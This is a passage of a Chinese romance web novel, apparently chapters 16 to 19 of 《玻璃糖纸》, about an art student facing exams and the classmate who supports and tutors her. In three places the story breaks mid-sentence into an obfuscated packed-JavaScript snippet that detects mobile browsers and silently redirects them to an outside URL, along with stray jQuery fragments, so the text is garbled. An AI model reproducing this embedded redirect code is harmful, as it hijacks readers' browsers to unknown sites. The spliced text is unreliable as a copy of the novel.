身侧高瘦的少年垂眸,他总是很沉默,可他也总是认认真真看着她的眼睛听她说话。 他没有犹豫,也没有敷衍:“会。” 江皓月嘴角牵起,用开玩笑的语气试探着、说真心话:“那万一我美术过线了,文化课没有过线呢?” 少年无波无澜,平铺直叙道:“我会给你补到一本线。” 像是阐述一个被证明过千万遍的数学定理,带着不容置疑,平静而又笃定。 江皓月忍不住又问:“那万一我美术线也没过呢?” 裴鹤宁淡声:“全国不是只有这一所美术学院,考不上并不会完蛋。” “如果都不行呢?如果没考上美院、文化课也被扔下了呢?” 江皓月的声音在微微发抖,鼻腔酸涩的感觉来势汹汹,她垂下眼睛,满是无措:“等我回去,就只剩四五月份了啊……” 这两个月来,她陷在越画越糟糕、越画分数越低的瓶颈,恐惧像越滚越大的雪球堆积在心口,让她在辗转难眠的深夜喘不过气。 喘不过气又睡不着的时候,还要担心:明天会不会很困?困的话会不会画得更不好?她还能画下去吗? 她不敢告诉妈妈爸爸,因为花着他们的钱还要他们担心,未免太不懂事。 她也没有办法告诉欢乐哥和梁蜚,因为他们已经很忙很累,再好的朋友,也没有义务承担她的负面情绪。 所以现在,当裴鹤宁站在她的面前,她终于忍不住说出自己的恐惧。 那双曾经天真无畏又充满勇气的眼睛里,藏着一只被锁链困住的小鹿,小鹿正在说“救救我吧,我好害怕”…… 裴鹤宁俯身,手里的纸巾一点一点擦过她湿润的眼睛,目光专注,动作细致,像是对待小朋友。 那双沉静如水的眼睛里,映着漫天星光,映着无边月色,映着她委委屈屈皱着的脸。 他的眼尾一弯,就是很温柔的弧度:“那就最后两个月我们辛苦一点,多考一分是一分,其他的交给命运。” 不是“你”,而是“我们”。 她的恐惧,她的不安,她的委屈,好像被一双手轻柔地接住了。 血液开始流通,心脏重新跳动,被枷锁困住的小鹿终于自由,变成她开始加速的心跳。 “江皓月。” “嗯……” 月光如流水,少年的嗓音格外清冷,却温柔得好像一个承诺:“我会给你托底,所以你不要怕。” - 返程的公交车上,两人并排坐在最后排,夏日晚风从车窗外吹进来,江皓月柔软的发丝在跳舞。 她的心情,像一件雨天没来得及晾干就收起的衣服,被裴鹤宁拎到阳光下,晒得蓬松柔软香喷喷。 只不过,裴鹤宁把她送回画室,就要去高铁站了。 江皓月有些抱歉:“有点亏呢,大老远地来了,就去了个美院,吃了点小吃。” 目光扫过她不再泛红的眼睛,裴鹤宁轻扬眉:“不亏。” 江皓月蹙眉:“都没去景点转一转呢!对啦,你去看过公大吗?” 裴鹤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267019|181810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁摇头。 “那公大离美院近吗?” “很远。” “公交地铁能直达吗?” “不能。” 江皓月叹气,那以后想见面岂不是也很难? 裴鹤宁:“打车的话就一个小时。” “那也还行哈?不对……”江皓月顿了顿,圆脸绷起来,“你怎么知道美院离公大很远?” 她眼神炯炯,黑亮黑亮的眼紧盯着他,压低的声音透出“刑讯逼供”的味道:“你怎么知道公交地铁不能直达,打车只需要一个小时?” 裴鹤宁长长的睫毛,微不可查,轻颤了下。 “你是不是偷偷看过公大离美院有多远,还查过路线?” 江皓月眼底的小星星又跑出来了:“你为什么要查公大到美院的路线?” 面前冰冰冷冷的少年,面孔英俊,唇红齿白,可耳根已经在慢慢泛红…… 偏偏江皓月不放过,一叠声的:“说嘛说嘛说嘛……” 她毛茸茸的脑袋,直接凑到他眼皮底下,卷翘纤长的睫毛像小扇子扑闪扑闪:“现在是夏天,可没有帽子了呦!” 江皓月拎着自己的T恤领口给他展示,想到绝妙主意一般得意:“而且我决定啦,以后都不买带帽子的衣服啦!” 省得他每次说点什么,顺手就把帽子给她扣脑袋上,不让她看他。 如果她帽子摘得快,还能看到他红透的耳根,害羞的裴鹤宁纯情肤白又貌美,让人很有调戏他的欲望。 “难道除了江皓月,你还有要考美院的同学?”江皓月灵机一动,一不小心就动歪了,“难道是学姐?” “什么?”裴鹤宁跟不上她的脑回路,微微蹙眉。 “你送巧克力的学姐!百分之九十九能考上美院!”江皓月思维发散,目光幽怨起来,“你是为学姐查的路线?” “不要闹了好不好。” 他的语气很轻,带着无可奈何的求饶意味,就连看向她的眼睛,都有点湿漉漉的。 裴鹤宁喉结滚动,线条清秀凌厉,低低说了句:“因为我大学也想见到你。” 很近的距离,两人对视着。 一秒、两秒、三秒…… 一个脸颊红透、慢慢挪回自己的位置坐正,一个耳根红得没办法看,偏开头去看窗外。 时间能不能暂停呢? 停在他在她身边、停在她心跳怦然的此时此刻。 可是公交车无情报站,提醒她时间不会暂停只会消失。等待她的,是一段没有灯光亮起、也不知道尽头在哪的路。 裴鹤宁站在明与暗的交界,修长利落的一道身影,骨骼介于男孩和男人之间,可是宽宽的肩、高高的个子,已经让人很有安全感。 时间可不可以往回拨,拨到他们刚刚见面的那一刻呀? 短短几个小时,还没分开,竟然已经开始了戒断反应。 “不开心?” 江皓月垂头丧气:“我现在知道舞会结束之后,灰姑娘是什么感觉了。” 她现在多像灰姑娘,要从绚烂的、璀璨的梦境,回到无底洞一样的画室。 她不想裴鹤宁走,孤身一人在外、喜欢的人近在咫尺的感觉太好,可她不能任性,现在应该让他去高铁站了。 他今晚不知道能不能在车上睡着。 明天还要上课呢。 裴鹤宁问:“宿舍几点关门?” 这是让她早点回去的意思吧?江皓月耷拉着脑袋:“十一点,但我们会在画室待到半夜。” “那我们晚一点回去?” 少年含笑的眉眼温柔也青涩,手覆在她脑袋上揉了揉,像给不开心的小朋友顺毛。 “起码十一点之前,你都是公主。” 17.第 17 章 “梁蜚,他在意的女生是我诶!”——仓颉《玻璃糖纸》 - 暑假的时候,许医生听从女儿嘱托,把辛巴交给裴鹤宁。 男生接过牵引绳、还有她准备好的辛巴的“行李”,礼貌而乖:“谢谢阿姨。” 十七八岁的少年眉清目秀,青涩也干净,难怪自家女儿整天挂在嘴边。 之前两个小朋友一起遛狗,她在阳台上悄悄看过。 江皓月在人旁边叽叽喳喳嘴巴一刻不停,女儿的话痨属性她是了解的,很小的时候就能把她脑袋讲得晕晕的。男生话不多,但垂着眼睛的模样,有种少年人独有的温柔。 “谢什么,”许佳笑着,眉眼温和,“高中过得还好吗?” 裴鹤宁点头:“很好。” 因为江皓月的关系。 许佳目光温柔,像在看自家孩子:“辛巴交给你了,你开学的时候我再来接。” 她仍记得那天是母亲节,女儿给她烤了甜甜的蛋糕,要她快点回家。 她已经换下白大褂,电话响起,说有紧急抢救,伤者是执行任务的警察,还是刑侦支队队长。 所有人严阵以待。 可是,她还是没能把人从死神手里夺回来。 手术室的门打开,她对上一双失魂落魄又通红的眼睛。 脸色苍白的男孩子,低声问:“医生,我妈妈呢?” 他身后的椅子上,放着黑色书包,书包大敞着,因为怕弄坏里面的康乃馨。 眼泪一下子就下来了。 所以高一期末,就算江皓月的数学考不到90,她也会同意领养辛巴的。 因为那是一个母亲留给儿子的最后的遗物。 许佳的车开出去,后视镜里清秀挺拔的男生低头看身边的狗狗,睫毛带笑。 他能长成现在这样,真好。 高三前的暑假算不上暑假,何嘉豪忙竞赛忙到疯癫,梁蜚暑假申请在校自习。 裴鹤宁考警校分数够用,本来没有什么压力,只需要安稳度过高三参加高考,可是江皓月的文化课基础实在算不上好,又因为集训的关系完全搁置,等她回来,离高考只剩两个月。 可是他说了就一定会做到。 于是每天在书桌前从早坐到晚,那些烂熟于心本不需要写在纸上的知识点,重新按照框架整理。 直到辛巴凑到他身边、提醒他应该带它出门,他笑着揉了揉狗狗的脑袋,侧脸柔和哪还有半分冷淡的模样:“抱歉辛哥,把你忘了。” 一人一狗,影子被路灯拉长。 瘦瘦高高、近一米九的男生,威风凛凛的德牧,走在一起很吸引眼球,更别提少年英俊白皙,生了一张让人过目不忘的脸。 只是,那眉眼五官太过锐利、不笑的时候疏冷感很重,想也知道,脸长成这样的男孩子就算没有女朋友也不缺人追,远远看着养养眼就行了,上去要联系方式是没必要的。 当辛巴停住脚步,裴鹤宁温声:“辛哥,怎么了?” 他抬头,人也怔住。 从他家到这儿,要过五个岔路口,经过三家蛋糕店,此时街角花店已经打烊,居民楼暗了大片。 而他竟浑然不觉,跟着辛巴走到江皓月家楼下。 六楼的那一格窗户亮着灯光,却没有一个女孩推开窗:“裴鹤宁,等我一下!” 然后,她会风风火火跑下楼,口袋里、帽子里、手里捧着的,是给他的零食。 裴鹤宁垂眸,和辛巴对上视线,语气轻轻地说:“你怎么知道我想她了。” - 江皓月没日没夜地泡在画室里。 焦虑还是会有,看到“天赋怪”的高分卷也还是会叹气,每天都能听到有人抱怨“怎么办画不好文化课也跟不上”。 她面上不动声色,其实心里有只小蘑菇在附和:“对啊对啊,怎么办怎么办?” 下一秒,小鲸鱼跃出水面,对小蘑菇说:“我会给你托底,所以你不要害怕。” 负面情绪烟消云散。 每天落笔之前,她都会给自己做心理建设—— 江皓月,你有什么好怕的呢? 考不上美院不会完蛋!不会! 她一开始学画画只是因为喜欢,不是为了考高分。 就算考不上美院,她还是喜欢画画,她还是会画画,画自己喜欢的小蘑菇和小鲸鱼。 就算考不上美院,她还是想要出一本画册,记录高中闪闪发光的每一个瞬间,看看未来那么远,小蘑菇和小鲸鱼会走到哪里。 周末手机下发,江皓月给妈妈爸爸打了电话,又和欢乐哥和梁蜚聊了几句,他们学习都忙,她不敢打扰太久。 最后,她戳开裴鹤宁的对话框。 小蘑菇:【在干嘛?】 裴鹤宁:【学习】 小蘑菇:【我可以看看辛巴嘛?】 没多会儿,裴鹤宁给她拍了一段十秒的视频。 出镜的除了狗狗,还有少年修长而骨节分明的手,和嗓音温和的一声:“辛哥,看镜头。” 短短一段视频,江皓月翻来覆去看了好多遍,为了听他和狗狗在一起时格外温柔的声音。 她开始不满足,蹬鼻子上脸:“可以视频看吗?” 裴鹤宁有求必应,给她拨了视频通话过来。 江皓月飞快理了理头发,笑眯眯按下接听。 她的小圆脸出现在镜头里,长长的头发被随手绑起马尾,刘海也被卡子别了上去,额头光洁,野生眉浓密,脸颊的婴儿肥消了些、显得下巴尖尖,已然是少女的清丽模样。 屏幕那边,裴鹤宁轻声:“辛哥,过来。” 当和狗狗对上视线,江皓月心脏软得像棉花糖,柔声说:“好久不见啊辛巴!我好想你啊……” 狗狗不会说话,一双湿漉漉的眼睛看看她又看看裴鹤宁,仿佛在问:她怎么还不回来? 一人一狗隔着屏幕对视着,都委屈巴巴。 只是辛巴有裴鹤宁摸摸头,她没有! 她说看辛巴,裴鹤宁就真的一点都不出镜。 江皓月蹙眉,拖着绵软的尾音,喊他名字:“裴鹤宁……” “在。” 江皓月鼓着腮,闷声闷气:“我还想看看你……” 耳机里,男生的呼吸清浅可闻。 下一刻,镜头反转。 屏幕里那张脸,帅得让人倒抽一口冷气。 从下往上的死亡视角,他竟然也扛住了。 这个角度看过去,男生喉结冷淡凸起,下颌更显清晰坚冷,眉峰高耸鼻梁挺直,就算江皓月是美术生,也觉得这骨相无可挑剔。 裴鹤宁垂眸,刚洗过的短发半干落在额头,眉眼勾魂摄魄的黑,隔着屏幕好像能闻到让人脸红心跳的洗发水味道。 他问:“还在画室。” 美色惑人。 他长这样,真的很难让人听到他在说什么。 只会把目光吸引到他的嘴唇上,看起来红得恰到好处、似乎非常柔软的嘴唇。 江皓月捏了捏有点发烫的耳朵,移开视线,一本正经地应了:“可能要到十一点呢。” “这么晚。” 江皓月对着屏幕点头,忍不住打了个呵欠,小声嘟囔:“又累又困,但必须画完呢。” “想我陪你吗?” “嗯?” 裴鹤宁清冷英俊的面孔近在咫尺:“你可以不挂,如果电量够用的话。” “好耶!”江皓月眼睛瞪得像铜铃。 后来,“我想看辛巴”就成了开视频的暗号。 视频的开始,总是温顺威风的德牧辛巴。 视频的后面,是隔着屏幕各自用功的少年少女。 视频开着,江皓月在这边画画,裴鹤宁在那边写题。 江皓月觉得以裴鹤宁的成绩并不需要熬夜学习,公大侦查系的分数线对于别人来说可能不低,但对一个稳定的年级前三来说,只要不发挥失常肯定能上。 但是每次开了视频,他面前又的确摆着课本、习题和笔记本,完全就是认真搞学习的高中生模样。 好吧,比她优秀的人都这么努力了,她又怎么能偷懒呢? 深夜的画室已经没有人,江皓月把手机固定在画架旁边,继续画画。 她画画的时候很专注,就算喜欢的人在面前也不会分心,只是有人陪着的感觉让她心里踏实。 所以没有注意到某个瞬间,对面的少年停笔,手指隔着手机屏幕,轻轻戳了一下她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277526|181810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸,那双天生锋利的眼睛里只有温柔。 江皓月的速写画了一张又一张,一停没停,直到腰又酸又痛,提醒她该停下来。 她奖励自己的方式,就是画画画累了,允许自己看一会儿屏幕里的人。 还是青涩,还是干净,眉眼间一股洗净的少年气,但已经完全可以用英俊形容。 眼睫毛怎么那么长…… 你是睫毛精吗? 这么长的睫毛接吻会不会能戳到女生脸上? 还有这个又高又挺的鼻梁,接吻应该挺不方便吧? 停、停、停。 她一定是画画画疯了,才会想这些乱七八糟的。 可是视线还是忍不住往下,落在少年薄而清晰的嘴唇。 好好一个高岭之花,怎么会长那么甜的梨涡。 江皓月忍不住,用手指戳了一下他嘴角梨涡的位置。 视频那边的男生刚好撩起眼皮。 江皓月恶人先告状:“干嘛,你要偷看我呀?” 他没说是也没说不是,只是问:“在做什么。” “你的梨涡是不是在这?” 裴鹤宁没有说她胡闹,只是抿了一下嘴角,嘴角梨涡陷下去。 江皓月继续用手指戳戳戳。 不知道裴鹤宁的脸戳起来是什么手感呢。 “好了,画画吧。”少年语气无奈。 江皓月叹气,拖着长音,“哦”了一声。 而后,耳机里传来少年清澈嗓音,一如既往冰冷没有感情,说的却是:“等你回来,给你戳真的。” - 人总是越想要什么越得不到什么。 当江皓月一心想着突破瓶颈的时候,越画越差。 可当她一身轻松不再把分数看得那么重,甚至还开个小差画一画喜欢的男孩子的时候,分数竟从谷底开始回升,甚至慢慢到了曾经不敢想的高度。 瓶颈期已经很久远,像上辈子的事情。 12月,联考进入倒计时。 考试前一周,画室请了上一届成绩优异、又恰好在本市的学生来交流经验。 江皓月停下手里画笔,意外看到一张熟悉面孔——是她们高中的学姐。 学姐看到她,热情招手:“皓月!你也在这个画室!” 她转头又跟自己身边的同学介绍:“我高中的小学妹,超级厉害的。” 读大学的学姐更明艳更大方,江皓月笑笑,眉眼柔软:“学姐,好久不见。” 老师请学长学姐们分享经验、技巧,江皓月听得很认真,忍不住想象自己坐在考场的那一刻。 经验分享结束,就是提问交流,气氛不像往常上课紧张,有人问:“大学生活是不是特别爽?” 学姐点头:“你们现在是最苦的时候,熬过去就好了。” 又有人八卦:“学姐谈男朋友了没啊?” 学姐落落大方:“没,高中的时候有个喜欢的男生,没追成功,留下阴影,封心锁爱了。” 大家难得放松,老师也没阻止。 “竟然有这么不识好歹的男生啊?” 学姐摇头:“是个高一的学弟,高高瘦瘦白白净净那种,年级前几,很帅也很冰山。想搭话,搭不上,想加微信,人家不认识的人不加。” “后来我想,追人得投其所好嘛,我经常在超市看到他买一个牌子的巧克力,又冷又酷的男生喜欢吃甜真的超级可爱了。” “所以圣诞节那天,我买了一盒他喜欢的巧克力放在他的桌子上。课间他就还回来了,把我拒绝了。” 大姐都替学姐鸣不平:“他怎么这样!” 学姐笑:“我当时只顾着看脸了,都没顾上伤心,一个男生怎么长一对那么漂亮的眼睛啊,睫毛超级长,双眼皮很深,简直是个睫毛精。” “我说拒绝就拒绝吧,巧克力你留着吃,你不是喜欢吗?” “他说,他不喜欢。” “我说不信,你经常买,我都看到了。” 江皓月面上不动声色,其实耳朵早已竖起,屏住呼吸不错过每一个字。 她听见学姐一字一顿、复述高一圣诞节裴鹤宁对她说的话—— “他说,是他在意的女孩子喜欢。” 18.第 18 章 “梁蜚,他好像喜欢我!”——仓颉《玻璃糖纸》 - “那他喜欢的女孩得是什么样子的啊?” “那个女孩知道他喜欢她吗?” “他们在一起了吗?” …… 目光所及画板颜料遍地,耳边人声嘈杂闹闹嚷嚷,大家在说什么,江皓月已经听不见。她像是回到了两年前,回到了那个雪总是下个不停的冬天。 她因为裴鹤宁给学姐送巧克力别别扭扭,把怀里的苹果都塞给欢乐哥,气呼呼地让他今天吃一个、明天吃一个。 可是放学的时候,裴鹤宁等在教室门口。 他说他不喜欢学姐。 他把写着“祝你成绩进步”的圣诞卡片和巧克力递给她。 他冷声冷气的,说江皓月,你应该把心思放在学习上。 所以,在意和喜欢之间的界限在哪里呢? 裴鹤宁在意她,能不能等同于,裴鹤宁喜欢她呢? 她好想知道。 可是联考在即,她现在满脑子成绩,无心顾及其他。 她决定把青涩的感情包进玻璃糖纸,等尘埃落定的那天,再去尝尝是什么味道。 距离联考不到一周。 江皓月换了新颜料和笔,这样到考试的时候,颜料的干湿度是正好的。 她也开始有意地调整自己的作息,把熬夜熬到紊乱的生物钟纠正过来,保证考试的时候人的状态也是最佳的。 不熬夜的晚上,她早早回到宿舍,准备睡个好觉。 室友抱着一堆纸箱回来:“江皓月,有你的快递,我一块给带上来了。” 江皓月从床上蹦下来:“谢谢宝!” 箱子不小,但好在不重,当她拆开看到里面是什么,嘴角弯弯翘起。 柠檬糖、巧克力、果冻、小饼干……那些她曾经揣在帽子里、口袋里带给裴鹤宁的小零食,现在整整齐齐码在箱子里,一看就是出自裴鹤宁那个强迫症之手。 是他买的,她更想独占,但还是大大方方和室友们分享。 美术集训每天又饿又困,画到深更半夜泡面都是奢侈品,这些零食简直是救心丸一样的存在。 室友们弯腰低头双手举高到头顶接过:“零食大王万岁万岁万万岁!” 江皓月笑得像朵太阳花,脆生生道:“爱卿免礼平身!” 一个室友从床帘后面探出个脑袋说:“你男朋友也太好了吧?” 江皓月皱了下鼻子:“都说了不是男朋友!” 室友们排排坐齐摇头—— “不是男朋友,但会在生日、暑假、十一来看你。” “不是男朋友,但会隔三差五给你寄好吃的。” “这在俺们村里的确不是男朋友,是未来老公!” 就只是把“男朋友”三个字和裴鹤宁联系在一起,江皓月都会耳朵发烫。 现在,室友们竟然开始说“老公”什么的…… 她的脸不争气地红起来,拿起手机往阳台走,瞪圆的眼睛威慑不足可爱有余:“我不跟你们说了!” 室友们对此见怪不怪:“瞧瞧,瞧瞧,又跟不是男朋友的男朋友打电话去咯!” “什么嘛,应该是不是男朋友的老公……” 不是男朋友的男朋友现在正在整理笔记。 笔记整理进程过半,现在已经到了物理。 裴鹤宁翻开高一物理课本,看到什么,目光微微一顿。 一张折叠整齐的物理试卷,平平无奇答案全对,看不出任何留存的必要。 当他随手展开,才知道为什么这张试卷被留下来—— 名字的位置,被心不在焉的他写了“江皓月”三个字。 手机震动。 试卷上手写的名字,变成屏幕上亮起的联系人。 他按下接听,名字主人元气满满的声音透过听筒传来:“裴鹤宁!” 江皓月语气雀跃,带着软软笑意:“你怎么给我买了这么多好吃的呀?” 在说“这么多”三个字的时候,她特意加重语气,像还没长大的小朋友。 裴鹤宁嘴角难得勾了下:“去便利店的时候,看到就随手买了。” 江皓月“哼”了声,毫不留情戳破他:“你说得轻巧呢,巧克力和柠檬糖在便利店,面包和小饼干在另外一家甜品店,还有那个放了冰袋的栗子蛋糕只有学校门口有……” 他没说话,江皓月若有所思道:“裴鹤宁,你明明不喜欢吃巧克力呢。” 他没否认,女孩子嗓音压低、带了几分不确定几分期待,轻轻软软落在耳边:“那你还买这么多次……你是不是看到巧克力就会想起我呀?” 裴鹤宁低垂的睫毛,轻轻颤了下。 他避而不答,只问:“时间不早了,还要画画吗?” 江皓月不满咕哝:“你转移话题……” 隔着听筒,似乎能想象她此时此刻的表情,目光幽怨的、皱着脸的。 如果在身边,恐怕已经把她毛茸茸的脑袋凑到他眼皮底下了。 那双黑亮的眼睛总喜欢一眨不眨盯着他,和他很容易变红的耳朵。 耳机似乎能收集所有细微声响,她的呼吸和叹息都清晰。 他的心跳开始变得存在感十足。 大概是她刚去集训不久的时候,他去便利店买水,路过甜食区域,习惯性看过去。 货架上摆满江皓月喜欢的巧克力,他下意识伸手去拿,才想起就算买了也不能带给她了。 她去集训了,在离他八百公里的地方。 可最后,还是放进购物车。 得不到他的回应,江皓月沉默下来:“算了,我不难为你了……” 声音里满满的失落。 目光落在试卷上她的名字,裴鹤宁轻声开口:“不看到巧克力也会。” 江皓月闷声闷气问:“什么?” 他放缓了语气,一字一顿告诉她:“不看到巧克力也会想起你。” 下雨天会想起她。 路过她喜欢的蛋糕店会想起她。 看到写错名字的试卷会想起她。 任由耳根变红,裴鹤宁低声,嗓音里有种哄人的温柔:“我等你回来。” - 12月上旬,江皓月回本省参加联考。 她从小被家里人捧在手心,半点苦没有吃过,可现在也能毫无怨言早上五点起床,一米六出点头的身高,背着有她半个高、装着画板速写板、捆着画架的画包,提着颜料箱,成为排队进考场的一员。 一眼望不到头的场馆,密密麻麻全是支起的画板,笔涮在水桶里的声音成为追梦的号角。 这一刻满身的颜料作数,手指洗不掉的铅灰作数,无数个在画室熬到天亮的凌晨作数,疼痛的脖颈和腰、偷偷掉的无数眼泪都作数。 一月初联考成绩公布,江皓月斩获本省总分前十,还没顾得上开心,各大美院发布招考简章、考试时间。 于是她又开始辗转在各个城市,考完一所美院,急匆匆再去赶下一所美院的考试,有几所美院考试时间只间隔一个晚上,距离却隔着上千公里,航班不能直达还要中转…… 可当她跑起来,跑起来赶往机场、跑起来去赶飞机,肩上的压着的不再是画板,而是她的梦想,她的梦想在她快要跌倒的时候,变成了翅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284615|181810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膀。 三月,校考落下帷幕,成绩未知。 可那根从去年五月份开始就紧紧绷着的神经,终于可以松懈下来。 江皓月洗掉一身颜料和铅灰,换上自己的睡衣,躺在家里的床上睡了个昏天黑地。 可是梦里,她一刻不停地奔跑在赶航班的路上。 画面一转,她又坐在考场却找不到调色盘,只能在裤子上调色…… 普蓝的味道萦绕鼻尖挥之不去。 当她醒来,房间里没开灯,她对上床边辛巴湿漉漉的眼睛。 “你一直在等我吗?”她还迷迷糊糊,声音和笑意都柔软,“吃完晚饭我们出门,看能不能碰巧遇到个大帅哥。” 虽然考前最难熬的那段时间他们经常开视频,她在这边画画、他在那边写题,但是算起来,她已经好久没有见过近在咫尺的、能感受到温度的、能闻到身上香气的裴鹤宁。 晚上七点,是江皓月固定的带辛巴出门散步的时间。 推开楼门的那一刻,春日晚风带着花香拂过鼻尖,她和路灯下挺拔俊秀的少年对上视线。 又帅了,又高了,脸庞棱角分明,眉眼漆黑锐利,黑色卫衣黑色长裤,衬得人修长利落又冷又酷。这种长相的男孩子,都不用说话,就那么看人一眼,就已经相当于在勾引人。 江皓月未语先笑,甚至还有点太久不见的不好意思。 这一刻她好羡慕辛巴,小狗没有心事,可以见到喜欢的人就直接扑上去。 “裴鹤宁。” 裴鹤宁轻“嗯”了声,修长白皙的手指覆在辛巴脑袋上,眼睛却自始至终看向她。 江皓月去年的短发今年已经可以绑成丸子头,丸子头上绑着小蘑菇发绳,她眉眼弯弯,嘴角弧度却难得有些腼腆:“这么巧,我今天刚回来。” “我知道,”裴鹤宁薄唇轻启,字音咬得清晰,“所以我在等你。” 不是“我在等小狗”,也不是“我在等小狗主人”,而是直白的“我在等你。” 江皓月的胸口藏着一只小鹿,小鹿因为联考沉寂,又因与他重逢苏醒。 与他面对面的此时此刻,每一下都跳得很重,心跳声一声比一声清晰。 她背在身后的手,手指轻轻绞在一起:“裴鹤宁,请教你一个问题。” 他点头:“你说。” 江皓月仰起脸,星星都跑进她的瞳孔一闪一闪:“你说,‘在意’和‘喜欢’是什么关系呀?” 裴鹤宁不明所以:“为什么问这个?” 江皓月紧盯着他的每寸表情,用她耍赖时惯用的语调:“我就是好奇嘛。” 她一直没忘记去年十二月、学姐说—— “他说他不喜欢。” “是他在意的女孩子喜欢。” 现在,她是不是可以剥开这一层玻璃糖纸了呢? 她是不是可以问他要一个答案,让他告诉自己:在意的女孩子可不可以等同于喜欢的女孩子? 如果她胆子再大一点、对他的喜欢再少一点,或许她会直接问:你是不是喜欢我呀。 可是她太喜欢他,因为太喜欢,所以会胆怯,只能轻轻问一句:“在意的意思,是喜欢吗?” 裴鹤宁不知道她为什么问这个,清澈声线没有感情,听起来格外冷淡:“在意不是喜欢。” 江皓月怔了下,心口见到裴鹤宁手舞足蹈的小鹿,耷拉着脑袋安静下来。瞳孔深处亮闪闪的星星也一下全部熄灭。 她慢吞吞“哦”了一声,垂下脑袋,突然不知道该说什么。 下一刻,却听见少年很认真地回答了她的问题—— “是喜欢才会在意。” 19.第 19 章 “梁蜚,我觉得他想和我谈恋爱。”——仓颉《玻璃糖纸》 - 江皓月休息了一个周日,周一返校上课。 她回来的时间太过凑巧,还没喘口气,就赶上高三的二轮模拟,直接从一种高压状态进入另一种高压状态。考试考了两天,人都蔫了。 周五成绩贴出来,成绩比想象中更惨不忍睹。 集训期间每天画画画得昏天黑地,只能用碎片时间背背单词和古诗词,所以除了语文、英语成绩还能看,其他科目一塌糊涂,包括裴鹤宁给她恶补的数学。 她愁眉苦脸看完自己的各科分数,又去找裴鹤宁和梁蜚。 高中三年,第一名经常易主,但裴鹤宁稳在年级前三,最差也不会跌出前五。但是让江皓月眼睛放光的,是梁蜚这次考到了年级第四,名字和裴鹤宁相邻。 自己的成绩一塌糊涂,并不妨碍她为梁蜚高兴:“宝!你也太厉害了!你喜欢清华还是北大?我好好学文化课,到时候我们都能在北京!” 梁蜚的情绪总是淡淡的,可这次嘴角扬起的弧度却很明显,应该是真的高兴了,她柔声问:“你怎么样?需要我给你补课吗?” “我给她补就行。” 少年清冷嗓音从头顶落下,江皓月仰起脑袋,视线对上的瞬间,她的眼尾不自觉弯成月牙。 自己喜欢的人,和自己最好的朋友都在眼前,一个年级第三,一个年级第四,都要给她补课。 没考好的阴霾一扫而过,江皓月昂着下巴幸福得冒泡泡:“你们怎么这么好哇!” 周五下午放学早,不用上晚自习。 江皓月背上书包,裴鹤宁已经在教室门口等她。 她小跑到他身边,叽叽喳喳:“明天去图书馆吗?” 裴鹤宁“嗯”了声:“一起?” 江皓月点头,想到自己的文化课忍不住叹气:“再不去学习的话,我高考就要完蛋了,现在校考成绩没出,文化课成绩一塌糊涂……” “不会完蛋,”裴鹤宁垂眼,“还有我呢。” 十七八岁的少年还在长,身高抽条,肩膀宽阔,眉眼五官越发清晰立体,也越发显得冷漠锋利,好像已经能想象他穿警服挺拔肃杀的模样。 可他说“还有我”的时候,低而轻的咬字里有种从不示人的温柔。 一句话就让蔫头蔫脑的江皓月打起精神:“我知道啦!” 公交车到站,裴鹤宁送她到楼下。 江皓月眉眼弯弯:“明天见!” 裴鹤宁应声,打开书包,拿出一沓笔记:“给。” 江皓月接过,随手翻开,笔记涵盖各个学科,手写的、打印的内容都有。 她怔愣着抬头,裴鹤宁把她的怔愣理解为“发愁”,语气不自觉缓和:“现在不能停下来休息,必须要辛苦一点了。” 江皓月不是不能吃苦,她只是蓦地想起每个她熬夜画画的凌晨,他都在视频另一边低头翻书,眉眼专注认真,没有一刻停下。 “熬夜的时候你都在整理这些?” “没有,我也在写自己的作业。” “是不是花了很多时间?” 男生否认,声线平静一如往常:“复习顺手的事情。” 怎么可能是顺手,数学常年考满分的人怎么可能顺手整理历年高考题里最简单的数列和三角函数。 明明就是花费了很多时间、心思和精力,可他不仅没有半分邀功的意思,甚至还软着语气、哄小孩儿似的哄她:现在需要辛苦一点。 这人怎么可以温柔成这样。 心脏变成融化的棉花糖,甜而柔软。 江皓月抱着笔记,认真问道:“你有没有想要的,我也送给你?” 视线相对,少年轻扬眉:“要和我划清界限?” 他竟然还记得他生日时自己的气话,江皓月皱鼻子:“才不是呢,我跟谁划也不能跟你划呀,就是我很开心,我也想让你开心,你快想想你想要什么?” 裴鹤宁摇头。 江皓月不依不饶:“必须说一个,眼下最想要的。” 裴鹤宁被她缠得没办法,漆黑瞳孔浸着泉水般干净清亮:“想和你去一个城市上大学。” 轻而软的字音,落在耳边,柔柔化成水。 江皓月胸口的小鹿苏醒猛地,又开始踩着她的心脏跳舞,心跳声震天响。 想和你去一个城市上大学,是不是等同于,我想和你在一起呀? 